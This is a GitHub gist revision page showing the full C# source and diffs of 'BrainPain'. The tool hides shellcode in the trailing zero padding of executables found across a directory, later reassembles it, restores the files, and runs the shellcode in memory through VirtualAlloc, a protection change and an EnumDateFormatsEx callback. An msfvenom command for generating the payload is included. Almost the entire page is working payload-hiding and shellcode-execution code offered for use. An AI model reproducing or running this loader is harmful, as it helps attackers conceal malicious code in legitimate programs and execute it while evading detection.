Skip to content

Instantly share code, notes, and snippets.

@Wra7h
Last active May 17, 2022 02:57
Show Gist options
  • Select an option

  • Save Wra7h/07ff3b3f4900f59a4059c92834a1f59f to your computer and use it in GitHub Desktop.

Select an option

Save Wra7h/07ff3b3f4900f59a4059c92834a1f59f to your computer and use it in GitHub Desktop.

Revisions

  1. Wra7h revised this gist Jan 15, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion BrainPain.cs
    Original file line number Diff line number Diff line change
    @@ -300,7 +300,7 @@ static int WriteBytesToPad(string path, byte[] payload, int spaceAvailable)
    {
    File.WriteAllBytes(path, reversedFile.Reverse().ToArray());
    Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}", path, GetMD5(reversedFile.Reverse().ToArray()));
    return i;
    return (i-1); //14 Jan 22: Oops. just returning i was causing problems returning the file back to it's original state.
    }
    }

  2. Wra7h revised this gist Jan 11, 2022. 1 changed file with 22 additions and 8 deletions.
    30 changes: 22 additions & 8 deletions BrainPain.cs
    Original file line number Diff line number Diff line change
    @@ -11,6 +11,20 @@
    // PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes



    // Some fun with storing shellcode in the padding of executables, rebuilding the shellcode and executing if successfully recovered.
    // At least on the executables I've used, the shellcode doesn't seem to prevent the executable from executing as expected.

    // Step 1: Compile:
    // PS C:\> C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\BrainPain.cs

    // Step 2: generate shellcode
    // msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin

    // Step 3: Execute Brainpain
    // PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes\


    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    @@ -108,11 +122,12 @@ static void Main(string[] args)
    }


    Console.WriteLine("\n[*] Step 2: Write the payload to the file padding.");
    Console.WriteLine("\n[*] Step 2: Write the payload to the file padding.\n====== Press Enter to Continue ======");
    Console.ReadLine();

    int shellcodeWritten = 0;
    int index = 0;
    while (shellcodeWritten != shellcode.Length)
    while ((shellcodeWritten != shellcode.Length) && (index < ledger.Count))
    {
    try
    {
    @@ -122,15 +137,14 @@ static void Main(string[] args)
    }
    catch (ArgumentOutOfRangeException)
    {
    Console.WriteLine("[!] Error writing to file padding.\nExiting.");
    Environment.Exit(0);
    Console.WriteLine("[!] Error writing to file {0}", ledger[index].Filepath);
    index++;
    continue;
    }
    }
    ledger.RemoveAll(p => p.Byteswritten == 0);
    Console.WriteLine("\n[+] Split shellcode among {0} files.", ledger.Count);



    // Wait until the user is ready, then start the rebuild process
    Console.WriteLine("\n\n====== Press Enter to Rebuild ======");
    Console.ReadLine();
    @@ -286,7 +300,7 @@ static int WriteBytesToPad(string path, byte[] payload, int spaceAvailable)
    {
    File.WriteAllBytes(path, reversedFile.Reverse().ToArray());
    Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}", path, GetMD5(reversedFile.Reverse().ToArray()));
    return (i - 1);
    return i;
    }
    }

    @@ -331,4 +345,4 @@ static void Execute(byte[] payload)
    [DllImport("kernel32.dll")]
    static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }
    }
    }
  3. Wra7h created this gist Jan 10, 2022.
    334 changes: 334 additions & 0 deletions BrainPain.cs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,334 @@
    // Some fun with storing shellcode in the padding of executables, rebuilding the shellcode and executing if successfully recovered.
    // At least on the executables I've used, the shellcode doesn't seem to prevent the executable from executing as expected.

    // Step 1: Compile:
    // PS C:\> C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\BrainPain.cs

    // Step 2: generate shellcode
    // msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin

    // Step 3: Execute Brainpain
    // PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes


    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.IO;
    using System.Linq;
    using System.Runtime.InteropServices;
    using System.Security.Cryptography;

    namespace BrainPain
    {
    class Program
    {
    static void Main(string[] args)
    {
    string scPath = null;
    string directory = null;
    for (int i = 0; i < args.Length; i++)
    {
    if (args[i] == "-sc" && File.Exists(args[i+1]))
    {
    scPath = args[i + 1];
    }

    if (args[i] == "-dir" && Directory.Exists(args[i + 1]))
    {
    directory = args[i + 1];
    }

    if (args[i] == "-h")
    {
    Console.WriteLine("-sc: Absolute path to shellcode.");
    Console.WriteLine("-dir: Directory to recursively search for exes.");
    Environment.Exit(0);
    }
    }

    if (scPath == null || directory == null)
    {
    Console.WriteLine("[!] Specify a directory and the path to shellcode");
    Console.WriteLine("\n-sc: Absolute path to shellcode.");
    Console.WriteLine("-dir: Directory to recursively search for exes.");
    Environment.Exit(0);
    }

    //Read the specified shellcode
    byte[] shellcode = File.ReadAllBytes(scPath);
    string shellcodeMD5 = GetMD5(shellcode);
    Console.WriteLine("Shellcode MD5: {0}", shellcodeMD5);

    //Recursively find all the exes
    List<string> files = GetAllFilesFromFolder(directory, true);

    //Use a ledger to keep track of the filepath, padding available and the bytes written (if necessary)
    List<StorageDetails> ledger = new List<StorageDetails>();

    //Add each filepath to the ledger
    foreach(string file in files)
    {
    StorageDetails ledgeritem = new StorageDetails();
    ledgeritem.Filepath = file;
    ledger.Add(ledgeritem);
    }

    Console.WriteLine("\n[*] Step 1: Identify the amount of space available in each file.");

    int totalPadding = 0;
    foreach (StorageDetails item in ledger)
    {
    //ReadFilePad() is going to look at each file to get the amount of padding available to be written to.
    //I only have it return data for any file with more than 100 bytes available - though it shouldn't matter.
    item.PaddingAvailable = ReadFilePad(item.Filepath);
    if (item.PaddingAvailable > 0)
    {
    totalPadding += item.PaddingAvailable;
    }
    }

    //If there wasn't a decent amount of padding, GET OUTTA HERE!
    ledger.RemoveAll(p => p.PaddingAvailable == 0);

    if (ledger.Count == 0)
    {
    Console.WriteLine("[!] Ledger is empty. Make sure you have correct access to write to a file in the specified directory.");
    Environment.Exit(0);
    }

    //Neat details about how many files and total bytes were found when recursively looking
    Console.WriteLine("\tFile Count: {0} Available bytes: {1} Shellcode Length: {2}", ledger.Count, totalPadding, shellcode.Length);

    if (totalPadding < shellcode.Length)
    {
    Console.WriteLine("\n[!] Not enough padding to successfully disperse shellcode.\n\nPress Enter to Exit.");
    Console.ReadLine();
    Environment.Exit(0);
    }


    Console.WriteLine("\n[*] Step 2: Write the payload to the file padding.");

    int shellcodeWritten = 0;
    int index = 0;
    while (shellcodeWritten != shellcode.Length)
    {
    try
    {
    ledger[index].Byteswritten = WriteBytesToPad(ledger[index].Filepath, shellcode.Skip(shellcodeWritten).ToArray(), ledger[index].PaddingAvailable);
    shellcodeWritten += ledger[index].Byteswritten;
    index++;
    }
    catch (ArgumentOutOfRangeException)
    {
    Console.WriteLine("[!] Error writing to file padding.\nExiting.");
    Environment.Exit(0);
    }
    }
    ledger.RemoveAll(p => p.Byteswritten == 0);
    Console.WriteLine("\n[+] Split shellcode among {0} files.", ledger.Count);



    // Wait until the user is ready, then start the rebuild process
    Console.WriteLine("\n\n====== Press Enter to Rebuild ======");
    Console.ReadLine();

    //Rebuilding Starts!
    Console.WriteLine("[*] Step 3: Rebuild the shellcode and restore the file back to normal.");
    List<byte> rebuiltShellcode = new List<byte>();
    foreach (StorageDetails item in ledger)
    {
    Console.WriteLine("\n\tReading {0}", item.Filepath);
    rebuiltShellcode.AddRange(BuildShellcodeFromPad(item.Filepath,item.Byteswritten));
    }

    Console.WriteLine("\n[*] Step 4: Use the shellcode.");
    string recoveredShellcode = GetMD5(rebuiltShellcode.ToArray());

    // Make sure the recovered shellcode matches the original shellcode MD5. Execute the shellcode if it does match.
    if (shellcodeMD5 == recoveredShellcode)
    {
    Execute(rebuiltShellcode.ToArray());
    }
    else
    {
    Console.WriteLine("\tOriginal Shellcode MD5: {0}", shellcodeMD5);
    Console.WriteLine("\tRecovered Shellcode MD5: {0}", recoveredShellcode);
    Console.WriteLine("\t[!] Shellcode MD5 does not match. Exiting.");
    }
    }

    static List<byte> BuildShellcodeFromPad(string path, int amount)
    {
    if (!File.Exists(path))
    {
    return null;
    }

    byte[] file = File.ReadAllBytes(path);
    byte[] shellcodeData = file.Skip(Math.Max(0, file.Count() - amount)).ToArray();
    byte[] reversed = file.Reverse().ToArray();

    int i = 0;
    for (i = 0; i <= amount; i++)
    {
    reversed[i] = 0;
    }

    File.WriteAllBytes(path, reversed.Reverse().ToArray());
    Console.WriteLine("\tRecovered MD5: {0}", GetMD5(reversed.Reverse().ToArray()));
    Console.WriteLine("\tAmount gathered: {0}", amount);
    return shellcodeData.Reverse().ToList();
    }

    public static string GetMD5(byte[] array)
    {
    MD5 hashString = new MD5CryptoServiceProvider();
    var hashValue = hashString.ComputeHash(array);
    string hash = string.Empty;
    foreach (byte x in hashValue)
    {
    hash += string.Format("{0:x2}", x);
    }
    return hash;
    }

    public static List<string> GetAllFilesFromFolder(string root, bool searchSubfolders)
    {
    Queue<string> folders = new Queue<string>();
    List<string> files = new List<string>();
    folders.Enqueue(root);
    while (folders.Count != 0)
    {
    string currentFolder = folders.Dequeue();
    try
    {
    string[] filesInCurrent = System.IO.Directory.GetFiles(currentFolder, "*.exe", System.IO.SearchOption.TopDirectoryOnly);
    files.AddRange(filesInCurrent);
    }
    catch
    {
    }
    try
    {
    if (searchSubfolders)
    {
    string[] foldersInCurrent = System.IO.Directory.GetDirectories(currentFolder, "*.*", System.IO.SearchOption.TopDirectoryOnly);
    foreach (string _current in foldersInCurrent)
    {
    folders.Enqueue(_current);
    }
    }
    }
    catch
    {
    }
    }
    return files;
    }

    //Get the number of zeroes at the end of a file.
    static int ReadFilePad(string path)
    {
    if (File.Exists(path))
    {
    try
    {
    byte[] file = File.ReadAllBytes(path);
    byte[] reversed = file.Reverse().ToArray(); //Flip it/reverse it. Missy Elliot would be so proud.
    int i = 0;
    while (reversed[i] == 0)
    {
    i++;
    }

    //I only wish to write to a file with more than 100 bytes of padding. Doesn't really matter though.
    if (i > 100)
    {
    return i;
    }
    else
    {
    return 0;
    }
    }
    catch
    {
    return 0;
    }
    }
    else
    {
    return 0;
    }
    }

    static int WriteBytesToPad(string path, byte[] payload, int spaceAvailable)
    {
    if (File.Exists(path))
    {
    try
    {
    byte[] file = File.ReadAllBytes(path);
    Console.WriteLine("\n\tFile: {0}\n\tOriginal MD5: {1}\n\tPadding Size: {2}", path, GetMD5(File.ReadAllBytes(path)), spaceAvailable);
    byte[] reversedFile = file.Reverse().ToArray();
    //byte[] reversedPayload = payload.ToArray();
    int i;
    for (i = 0; i < payload.Count(); i++)
    {
    if (i < spaceAvailable)
    {
    reversedFile[i] = payload[i];
    }
    else
    {
    File.WriteAllBytes(path, reversedFile.Reverse().ToArray());
    Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}", path, GetMD5(reversedFile.Reverse().ToArray()));
    return (i - 1);
    }
    }

    //write new bytes to file
    File.WriteAllBytes(path, reversedFile.Reverse().ToArray());
    Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}\n\tPadding Overwritten: {2}", path, GetMD5(reversedFile.Reverse().ToArray()), i);
    return i;
    }
    catch
    {
    return 0;
    }
    }
    else
    {
    return 0;
    }
    }

    public class StorageDetails
    {
    public string Filepath { set; get; }
    public int PaddingAvailable { set; get; }
    public int Byteswritten { set; get;}
    }


    //Just execute the shellcode with a callback
    static void Execute(byte[] payload)
    {
    IntPtr hAlloc = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, 0x1000 | 0x2000, 0x04);//0x04 = RW
    Marshal.Copy(payload, 0, hAlloc, payload.Length);
    uint oldProtect;
    VirtualProtectEx(Process.GetCurrentProcess().Handle, hAlloc, (UIntPtr)payload.Length, 0x20, out oldProtect); //0x20 = RX
    EnumDateFormatsEx(hAlloc, 0x0800, 0);
    }

    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern bool EnumDateFormatsEx(IntPtr lpDateFmtEnumProcEx, uint Locale, uint dwFlags);
    [DllImport("kernel32.dll")]
    static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }
    }